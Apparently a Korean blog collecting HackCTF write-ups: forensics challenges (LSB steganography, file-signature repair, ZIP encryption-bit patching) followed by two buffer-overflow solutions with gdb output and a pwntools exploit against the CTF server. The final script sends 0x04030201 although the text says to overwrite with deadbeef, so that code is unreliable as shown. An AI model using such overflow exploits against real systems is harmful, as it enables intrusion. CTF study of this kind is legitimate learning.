HackCTF 달라란 침공

포렌식 공부만 하다가 코딩이 마려워져서 코딩 문제하나 풀어보았다.

문제

image

풀이

image

다음과 같이 nc접속을 하면 사칙연산 문제를 내준다. 시간제한은 없으니 천천히 풀어도 되지만 나는 폰툴을 이용하여 자동화하여 풀기로 하였다.

while 문을 이용해 돌렸을 때 각각 문제 수와 나오는 연산은 아래와 같다.

  • 1) 20문제, '+', '-' 연산
  • 2) 30문제, '*', '/' 연산
  • 3) 40문제, '+', '-', '*', '/' 연산

풀이 소스코드는 아래와 같다.

image

HackCTF Forensics Writeup (Let'S get it! Boo*4)

문제

image

Let'S get it ! Boo * 4 대문자가 이상하게 들어가 있는 것이 보인다면 당신은 LSB를 알고 있는 겁니다. ㅎ

풀이

위에 문제에서 대문자가 이상하게 들어가 있는데 대문자로 된 글자들을 나열하면 LSB가 된다. 보통 LSB를 사용한 문제에는 이렇게 문제에서 티를 내주기 때문에 그대로 풀면 되는데 풀기 전에 LSB가 무엇인지 먼저 알아보도록 하자.

LSB (Least Significant Bit)

LSB는 하나의 데이터 형에서 가장 낮은 위치의 Bit를 의미한다. 반대로 하나의 데이터 형에서 가장 높은 위치의 Bit는 MSB라고 한다. 예를 들어 1byte unsigned char 형에서의 LSB와 MSB는 다음과 같다.

image

LSB와 MSB가 어떻게 사용되는지는 나중에 달리는 reference에 블로그를 참조하시면 될 것 같고 이 최하위 비트가 포렌식 분야에서 어떻게 사용되는지를 알아보자.

LSB Steganography

주로 jpeg 및 bmp 같은 24비트 이미지 파일에 적용이 되며 24bit 가장 위치가 낮은 최하위 비트를 조작하여 이미지를 변조한다. 하지만 이렇게 변조된 데이터는 사람의 눈으로 알아채기 힘들정도로 미세한 변화를 주기 때문에 데이터를 숨기는데 사용할 수 있다.

 

자 그럼 이제 문제를 풀어봅시다.

 

image

문제를 받고 연 이미지 파일이다. booboobooboo

 

LSB 문제인 것을 위에서 예측 하였으니 헥스 에디터로 여는건 생략하고 stegsolve를 이용하기로 했다.

 

stegsolve 라는 툴은 LSB를 이용하여 그림을 숨겨두거나 텍스트를 숨겨 놓았을 때 유용하게 사용할 수 있는 툴이다.

그림이 숨겨진 경우 아래 사진과 같이 각각의 색을 조정하여 숨겨진 텍스트를 나타나게 해준다.

 

image

 

다만 이번엔 숨겨진 것이 그림이 아니라 텍스트 인 듯하여 다른 방법을 사용해야 한다.

 

image

 

다음과 같이 Data Extract 메뉴에 옵션을 주고 열면 HackCTF{0U].Bl0C0xCDA9~~~}와 같이 플래그 포멧과 이상한 값들이 보인다.

( 옵션은 최하위 비트를 찾을 것이니 LSB First로 두고 Bitmap이미지는 RGB가 아닌 BGR방식을 따르기 때문에 Bit Plane Order를 BGR로 주었다. 또한 Bit Planes는 최하위 비트인 0번째 RGB비트만 주어서 Extract해주면 된다.)

 

Include Hex Dump in Preview 탭을 꺼주고 Save text를 누르면 txt파일로 저장할 수 있다.

 

image

 

그렇게 해서 생긴 요놈들이 뭘까 하다가 "0x" 가 있길래 무슨 헥스값인가 하여 검색을 하였다.

 

image

 

그 결과 한글 Unicode라는 것을 알 수 있었고 이를 통해 Flag를 구할 수 있었다.


zsteg

stegsolve가 아닌 다른 steganography tool 이다.

 

image

 

다음과 같이 LSB 이미지와 관련된 스테가노 그래피가 사용되었는지 분석하여 뽑아준다.

두번째 줄을 보면 "HackCTF{0U]" 와 같이 일부분을 뽑아주는 것을 확인할 수 있다.

 

image

 

그리고 다음과 같이 옵션을 이용하여 뽑아내면 stegsolve와 같은 결과값을 얻어낼 수 있다.

 

이 문제를 마지막으로 HackCTF Forensics 문제는 다 풀었다! ( 더 추가해주세요. ㅠㅠ )

 

포렌식 공부를 좀 더 해보다가 쉴 때 짬짬히 HackCTF에 포너블 문제도 풀어보도록 해야 겠다.


Reference

https://m.blog.naver.com/PostView.nhn?blogId=ansdbtls4067&logNo=220886567257&proxyReferer=https:%2F%2Fwww.google.com%2F - lsb란?

https://whitesnake1004.tistory.com/91 - zsteg

HackCTF Forensics Writeup (잔상)

문제

image

잔상

풀이

image

 

compare.zip 압축파일을 해제하면 다음과 같이 두장의 사진을 준다.

 

아무리 봐도 같은 사진 같은데 무엇을 비교하라는걸까??

 

비교해야 할 것은 헥스 에디터로 열었을 때 안에 있는 데이터 값인 것 같다. 사람의 눈으로는 미세한 데이터 차이는 판별하지 못하기 때문에 이렇게 숨기기도 하나보다.

 

그럼 헥스 에디터를 열어 데이터를 비교해 보자.

 

image

 

내가 사용하고 있는 헥스 에디터인 010 editor의 경우 compare file 기능을 이용하면 다음과 같이 틀린 부분과 같은 부분을 색깔별로 표시해주며 밑에 Compare 메뉴에 Difference 를 누르면 다른 부분으로 바로 이동시켜주는 편리한 기능이 있어서 사용하였다.

 

afterimage_1.jpeg 와 afterimage_2.jpeg 의 각각 다른 헥스 값은 1이 4E, 2가 48이다. 각각 ascii 코드로 N과 H인데 HackCTF 플래그 포멧 상 HackCTF{any_string_is_Flag}이기 때문에 아마 afterimage_2.jpeg 의 다른 헥스 값이 플래그 일 것이다.

 

플래그는 각자 찾아보고 인증한 뒤 마음속에 간직하도록 하자.

HackCTF Forensics Writeup (Terrorist)

문제

image

현장을 수사했고 단서를 찾게되었으니 다음 범행 장소를 알아내라고 한다.

풀이

image

 

Artifact.7z 이라는 7zip 파일을 압축 해제하면 다음과 같이 mission.jpg라는 사진 파일을 주는데 열리지 않는다.

 

헥스 에디터로 열어서 문제점을 찾아보자.

 

image

 

헥스 에디터로 열어 봤을때 헤더 시그니처가 확장자인 jpg 파일은 아닌것이 분명했고 저것이 어떤 헤더 시그니처 인지 찾는 과정에서 매우 유사한 헤더 시그니처를 가진 것이 많았기 때문에 고민 했지만 대충 그냥 소리가 나오는 파일이면 인식할 수 있었다. (헤더 시그니처는 3gp5 또는 m4a 파일이라고 생각한다.)

 

따라서 필자는 wav로 확장자를 바꾸어 사용하도록할 것이다.

 

확장자를 wav로 바꾸어 주도록 하자.

 

image

 

그럼 다음과 같이 음성이 나오는데 뭐라 말하는지 알 수 가 없다...

 

이 때 사용하는 사운드 편집 프로그램인 audacity를 사용하여 편집을 이리 저리 굴려보자.

 

image

 

그런데 문제가 발생했다.

오다시티에서 무슨 문제인지 파일을 인식하지 못하고 가져오는데 실패하였다.

 

아마 원본 파일이 m4a나 그런 쪽의 파일이라서 그런것이 아닐까 추측했고 온라인 컨버터를 이용해 mp3 파일로 컨버트 시켜주었다.

 

image

 

그 결과 오다시티에서 성공적으로 열 수 있었다.

 

이제 문제만 풀면 되는데 보통 다른 오디오 포렌식 문제들과 달리 간단한 편이었다.

 

image

 

다른 문제들은 속도 조절하고 템포 조절하고 잔향 제거하고 여러가지 건들이는 반면 이 문제는 뒤집기 좌우로 해서 거꾸로 재생만 시켜주면 플래그가 나온다.

HackCTF Forensics Writeup (Magic PNG)

문제

image

풀이

 

image

 

문제를 다운 받고 열게 되면 다음과 같이 파일 형식을 지원하지 않는다며 사진을 보여주지 않는다.

 

헥스 에디터를 열어 문제점을 찾아보자.

 

image

 

우선 첫번째 헤더 시그니처를 보았다.

 

010 editor에서 의미있는 값마다 구분해서 보여주는 구분선 때문에 깜박 속아 넘어갈 뻔 했다.

 

하지만 보면 알 수 있듯이 89 50 4E 47 2E 0A 2E 0A 라 적힌것과 다르게 PNG 파일 헤더 시그니처는 89 50 4E 47 0D 0A 1A 0A 이다.

 

따라서 이 값을 고쳐주면 될 것 같다.

 

image

 

하지만 아직 제대로 다 해결하지 못 한 것 같다.

 

다시 한번 헥스 에디터로 돌아가 보자.

 

image

 

들어가 보면 전과 다르게 제대로 PNG 헤더 시그니처를 인식하고 010 editor가 제대로 구분선을 내주는 것을 확인할 수 있다.

 

image

 

또한 010editor에서 지원하는 기능 중 하나인 Variables 탭에 수상한 친구가 하나 섞여있는 것 같다.

 

image

 

바로 저 친구이다.

PNG Chunk 중 하나인 IDAT이 소문자로 들어가 있다.

 

필자는 010 editor로 간단하게 찾게 되었지만 HxD와 같은 기능을 지원해주지 않는 에디터로 찾으려면 꽤나 노력을 들여야 했을것이다.

 

그럼 idat을 IDAT으로 바꿔보도록 하자.

image

FLAG!

HackCTF Forensics Writeup (나는 해귀다)

 

문제

 

image

 

문제파일을 다운받자.

 


풀이

 

image

 

압축파일을 다운받아 압축을 풀면 다음과 같은 사진을 준다.

 

자막을 보면 오 헥스값을 완전 뒤집어 놓으셨댄다. 헥스 에디터로 열어보자.

 

image

 

헥스 에디터로 열고나서 파일을 찬찬히 보면 89 50 4E 47 부터 png파일의 헤더 시그니처가 존재하고 그 후에 49 45 4E 44 AE 42 60 82 까지 푸터 시그니처까지 제대로 존재하는 것을 확인할 수 있다.

 

이제 문제는 그 다음인데 png 파일의 푸터 시그니처인 49 45 4E 44 AE 42 60 82 가 거꾸로 들어가 있는 모습을 볼 수 있다.

 

image

 

그리고 맨 밑을 보자 png 파일의 헤더 시그니처인 89 50 4E 47 0D 1A 0A 00 이 거꾸로 들어가 있는 것을 확인할 수 있다.

 

부가적으로 png 파일의 chunk들인 IHDR, sRGB, gAMA, pHYs 등 모두 거꾸로 데이터가 입력되어 있는것을 보아 이를 바로 잡아주면 새로운 png 사진 파일 하나를 획득할 수 있다는 것을 알 수 있다.

소스 코드

필자의 경우 파이썬으로 코딩하였으며 소스 코드는 다음과 같다.

data = "거꾸로 뒤집을 헥스값"

data1 = data.split(' ')

print(''.join(data[::-1]))

이렇게 하여 나온 헥스값을 다시 파일로 만들어주면 png파일이 나온다.

image

플래그 마저 뒤집어 놓으셨다.

HackCTF Forensics Writeup (세상에서 잊혀진 날 찾아줘!)

문제

image

 

세상에서 잊혀진 날 찾아달라고 한다. 찾아주러 가봅시다. 문제 파일은 pdf이다.

 


풀이

 

image

 

pdf 파일을 열면 이런 화면이 나온다. 파일을 받아주자.

 

이제 헥스 에디터로 열어보도록 하자. 헥스에디터로 열고 우선 pdf는 사진 파일을 원본 그대로 삽입해 놓는 형식으로 관리를 한다.(?)

대충 무슨 소리냐면 jpg 파일이 들어가면 jpg헤더부터 푸터까지 데이터가 들어가 있다는 뜻이다.

그럼 이 부분을 없애주면?

 

사진이 사라지고 사진으로 가려진 내용이 나오게 된다.

 

대충 정리해보자면

  1. pdf는 사진 파일이 원본 그대로 들어가있다.
  2. jpg 헤더부터 푸터까지 데이터를 없애주면 pdf에서 사진이 사라진다
  3. 사진으로 가려졌던 pdf 파일 속 내용이 나온다.

정도가 되겠다.

image

 

보면 jpg의 헤더인 FF D8과 그 뒷부분에 문자열 JFIF가 있는 것을 확인하여 jpg 사진 파일이 들어가있는것을 확인하였다.

 

image

 

그 뒤 FF D9를 검색하여 푸터를 찾고 이 부분을 제거해주었다.

 

image

Flag!!


꼼수

image

사실 이 문제는 꼼수가 존재한다. 그냥 Ctrl + A를 누르고 복붙하면 플래그가 나온다. Ctrl + A는 모든 내용 선택 단축키이다.

사진을 보면 드래그 된 부분이 보일 것이다. ㅋㅋㅋ;;

HackCTF Forensics Writeup (Secret Document)

문제

image

flag라는 이름을 가진 압축파일을 준다.


풀이

image

 

다음과 같이 Flag.zip을 압축 해제하려고 하자 비밀번호를 입력하라고 한다. 따라서 BruteForce어택을 백그라운드에 실행해놓고 다른 방법이 더 있나 찾아보기로 하였다.

 

image

 

그러던 중 파일 건너뛰기를 하고 압축을 해제했더니 암호가 걸린 flag.txt를 제외한 hint1.txt와 hint2.txt는 압축이 정상적으로 해제되었다. 이 힌트를 읽어보자.

 

image

 

우선 첫번째 힌트이다. Brute-Force NOOOOOOOOOOOOOO!라며 무작위 대입 공격을 사용하는 것이 아님을 알려준다. 나처럼 백그라운드에 돌려두었다면 곱게 켜서 다시 종료시켜주자.

 

image

그리고 두번째 힌트는 과연 패스워드가 존재한다고 생각하냐? 라며 패스워드로 푸는 것이 아니라는 힌트를 준다.

그럼 이제 압축파일의 파일 구조를 찾아보자.

 

압축파일의 암호화 기법은 Central Directory 구조의 Flags 필드를 공부해야한다. ( 그냥 압축파일에 대해 싹 다 공부하자 이김에 ) Central Directory 구조의 Flags 필드는 총 16개의 플래그 값을 가지고 있으며 Bit 00 번째 값이 암호화 된 파일을 나타낸다고 한다.

 

image

 

010editor는 파일 포맷을 기본적으로 지원해주기 때문에 볼때 한결 편하다.

대충 보라색 부분부터 Central Directory 영역이라고 보면 되며, 드래그 한 09 08 부분이 Flags 필드이다.

이 09 08 은 비트로 표현하기 위해 리틀언디언 방식으로 표현하면 08 09 이다. 또한 08 09 를 비트로 나타내면

 

image

 

1000 0000 1001 이며 암호화 부분인 00 번째 bit가 1로 활성화 되어 있는것을 알 수 있다.

 

image

 

따라서 2^0 = 1이니 1을 빼준 값을 보면 암호화 비트가 풀어진 바이트를 얻을 수 있다. 이는 헥스값으로 0808이다.

비트로는 1000 0000 1000 이다.

 

image

 

따라서 헥스값을 0808로 바꾸어 주거나 밑에 010editor에서 지원하는 기능 중 하나인 Inspector 에서 Short 부분을 2056으로 바꾸어주면 된다.

 

이렇게 한 뒤 저장하고 압축을 해제하면

 

image

 

flag.txt를 포함하여 압축이 해제되는 것을 볼 수 있다.

 

image

Flag!!

HackCTF Forensics Writeup (So easy?)

문제

image

qwer.zip파일을 준다. 다운 받아주자.


풀이

image

압축을 해제하면 다음과 같은 사진을 준다. 사진을 보고서는 아무것도 얻을 수 없으니 일단 기본부터 하도록 하자.

image

그럼 다음과 같은 플래그 형식을 지킨 문자열이 나온다. 하지만 이것은 글을 읽으면 알 수 있듯이 속임수용 플래그이다.

진짜 배기는 그 밑에 PK라는 문자열인데 이는 헥스로 50 4B이며 그 뒤에 붙어있는 03 04 까지 하여 50 4B 03 04가 압축파일의 헤더 시그니처 되시겠다.

따라서 이 헥스값을 뜯어 새로운 파일을 만들면 압축파일을 얻을 수 있다.

image

그럼 다음과 같이 hidden.txt라는 텍스트 파일안에서 FLAG를 찾을 수 있다.

HackCTF Forensics Writeup (Question?)

문제

image

딱히 문제는 없고 파일만 떡하니 하나 준다. 다운 받아주자.


풀이

image

다운 받은 파일의 이름이 Do you know HxD이다. 헥스에디터를 이용한 문제인것 같다.

일단 압축을 해제해주자.

image

압축을 해제하면 다음과 같은 사진을 준다. (사진이라기 보다는 추리문제...?) 우리가 이런 추리 문제를 풀러 온것은 아니니 각설하고 헥스에디터로 까주도록 하자.

image

파일을 헥스에디터로 까고난 뒤에 jpg파일의 푸터 시그니처인 FF D9 뒤에 문자열을 발견하였다.

HackCTF Forensics Writeup (Welcome_Forensics)

문제

image

가로 길이가 괴상해서 글자를 알아볼 수 없는 사진을 준다. 하지만 누가 봐도 플래그라는 것은 알 것 같다.

풀이

image

사진 위에 마우스를 올리고 우클릭을 하면 다음과 같이 새 탭에서 이미지 열기라는 목록이 있을것이다. 이 탭을 누르면

image

FLAG!

HackCTF 내 버퍼가 흘러넘친다!!!

image

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 50u);
  printf("input : ");
  gets(&s);
  return 0;
}

IDA를 통해 까본 prob1 소스이다.
read 함수를 이용하여 name 변수에 50byte만큼 이름을 입력을 받고 변수 s를 통해 입력값을 입력받는다. gets함수를 이용하고 최대 byte수를 정해주지 않았기 때문에 BOF가 일어난다.


풀이

처음에 생각했던건 gets함수에 입력제한이 없으니 dummy[24]를 주고 ret를 shellcode 주소로 준다음 그 뒤에 추가해서 shellcode를 넣는 방법을 생각했다. 하지만 local에서의 주소와 네트워크 상에서에 주소가 다른지 쉘이 따지지 않드라.... 그리고 또 이용할 수 있는 것이 name 이었는데 name은 선언이 안되있어서 뭐지? 싶었는데 더블 클릭을 하니 .bss 영역에 할당되어 있는 것으로 보아 전역변수로 선언되어있는것 같았다. 따라서 여기다 쉘코드를 삽입하고 ret을 이 .bss 주소로 변조해주면 될 것 같다.

.bss:0804A060 name            db    ? ;               ; DATA XREF: main+29↑o
.bss:0804A061                 db    ? ;
.bss:0804A062                 db    ? ;
.bss:0804A063                 db    ? ;
.bss:0804A064                 db    ? ;
.bss:0804A065                 db    ? ;
~~~
.bss:0804A093 _bss            ends

일단 gdb로 분석을 해보자

image

음 ida로 보는 것과 별반 차이는 없는 것 같다. 정보를 종합하고 payload를 짜주러 가보자.

  1. read 함수의 버퍼(name) 주소는 0x0804a060
  2. gets() 부터 ret 까지의 길이는 24byte

image

payload.py

image

Hackctf Basic_BOF #1 Write-up

Hackctf Basic_BOF #1 Write-up

 

image

Basic_BOF # 1 문제이다.

파일을 다운받아 칼리에 넣었다.

root@C0WB3LL:~/Desktop/pwn# gdb bof_basic 
  GNU gdb (Debian 8.3.1-1) 8.3.1
  Copyright (C) 2019 Free Software Foundation, Inc.
  License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  This is free software: you are free to change and redistribute it.
  There is NO WARRANTY, to the extent permitted by law.
  Type "show copying" and "show warranty" for details.
  This GDB was configured as "x86_64-linux-gnu".
  Type "show configuration" for configuration details.
  For bug reporting instructions, please see:
  <http://www.gnu.org/software/gdb/bugs/>.
  Find the GDB manual and other documentation resources online at:
      <http://www.gnu.org/software/gdb/documentation/>.

  For help, type "help".
  Type "apropos word" to search for commands related to "word"...
  pwndbg: loaded 180 commands. Type pwndbg [filter] for a list.
  pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
  Reading symbols from bof_basic...
  (No debugging symbols found in bof_basic)
  pwndbg> 
  

넣자마자 gdb를 돌린다.

pwndbg> i fu
  All defined functions:

  Non-debugging symbols:
  0x08048330  _init
  0x08048370  printf@plt
  0x08048380  fgets@plt
  0x08048390  puts@plt
  0x080483a0  system@plt
  0x080483b0  __libc_start_main@plt
  0x080483c0  __gmon_start__@plt
  0x080483d0  _start
  0x08048400  __x86.get_pc_thunk.bx
  0x08048410  deregister_tm_clones
  0x08048440  register_tm_clones
  0x08048480  __do_global_dtors_aux
  0x080484a0  frame_dummy
  0x080484cb  main
  0x08048590  __libc_csu_init
  0x080485f0  __libc_csu_fini
  0x080485f4  _fini
  pwndbg> 
  

i fu 명령어로 함수에 대한 정보를 확인한다. 특별한게 없으니 바로 main 함수를 파헤쳐 보자.

pwndbg> disas main
  Dump of assembler code for function main:
     0x080484cb <+0>:     lea    ecx,[esp+0x4]
     0x080484cf <+4>:     and    esp,0xfffffff0
     0x080484d2 <+7>:     push   DWORD PTR [ecx-0x4]
     0x080484d5 <+10>:    push   ebp
     0x080484d6 <+11>:    mov    ebp,esp
     0x080484d8 <+13>:    push   ecx
     0x080484d9 <+14>:    sub    esp,0x34
     0x080484dc <+17>:    mov    DWORD PTR [ebp-0xc],0x4030201
     0x080484e3 <+24>:    mov    eax,ds:0x804a040
     0x080484e8 <+29>:    sub    esp,0x4
     0x080484eb <+32>:    push   eax
     0x080484ec <+33>:    push   0x2d
     0x080484ee <+35>:    lea    eax,[ebp-0x34]
     0x080484f1 <+38>:    push   eax
     0x080484f2 <+39>:    call   0x8048380 <fgets@plt>
     0x080484f7 <+44>:    add    esp,0x10
     0x080484fa <+47>:    sub    esp,0x8
     0x080484fd <+50>:    lea    eax,[ebp-0x34]
     0x08048500 <+53>:    push   eax
     0x08048501 <+54>:    push   0x8048610
     0x08048506 <+59>:    call   0x8048370 <printf@plt>
     0x0804850b <+64>:    add    esp,0x10
     0x0804850e <+67>:    sub    esp,0x8
     0x08048511 <+70>:    push   DWORD PTR [ebp-0xc]
     0x08048514 <+73>:    push   0x804861c
     0x08048519 <+78>:    call   0x8048370 <printf@plt>
     0x0804851e <+83>:    add    esp,0x10
     0x08048521 <+86>:    cmp    DWORD PTR [ebp-0xc],0x4030201
     0x08048528 <+93>:    je     0x8048543 <main+120>
     0x0804852a <+95>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
     0x08048531 <+102>:   je     0x8048543 <main+120>
     0x08048533 <+104>:   sub    esp,0xc
     0x08048536 <+107>:   push   0x8048628
     0x0804853b <+112>:   call   0x8048390 <puts@plt>
     0x08048540 <+117>:   add    esp,0x10
     0x08048543 <+120>:   cmp    DWORD PTR [ebp-0xc],0xdeadbeef
     0x0804854a <+127>:   jne    0x804857c <main+177>
     0x0804854c <+129>:   sub    esp,0xc
     0x0804854f <+132>:   push   0x8048644
     0x08048554 <+137>:   call   0x8048390 <puts@plt>
     0x08048559 <+142>:   add    esp,0x10
     0x0804855c <+145>:   sub    esp,0xc
     0x0804855f <+148>:   push   0x804866e
     0x08048564 <+153>:   call   0x80483a0 <system@plt>
     0x08048569 <+158>:   add    esp,0x10
     0x0804856c <+161>:   sub    esp,0xc
     0x0804856f <+164>:   push   0x8048678
     0x08048574 <+169>:   call   0x8048390 <puts@plt>
     0x08048579 <+174>:   add    esp,0x10
     0x0804857c <+177>:   mov    eax,0x0
     0x08048581 <+182>:   mov    ecx,DWORD PTR [ebp-0x4]
     0x08048584 <+185>:   leave  
     0x08048585 <+186>:   lea    esp,[ecx-0x4]
     0x08048588 <+189>:   ret    
  End of assembler dump.
  pwndbg> 
  

간단하게 요약하자면 ebp-0xc 와 0xdeadbeef를 비교하여 참이면 system 함수를 불러오는 구조이다.

fgets함수로 입력은 ebp-0x34부터 받는다. 0x34 - 0xc = 0x28 = 40

따라서 A를 40byte만큼 입력한뒤 deadbeef로 덮으면 된다.

페이로드 : "A"*40 + p32(deadbeef)

pwntools.py

from pwn import *

  p = remote("ctf.j0n9hyun.xyz",3000)

  flag = 0x04030201

  payload = "A"*40 + p32(flag)

  p.sendline(payload)

  p.interactive()
  

Flag : 안알랴줄거임 ㅎ 풀어보세요 모두~ (이래놓고 어짜피 구글링하면 다 나옴)

+ Recent posts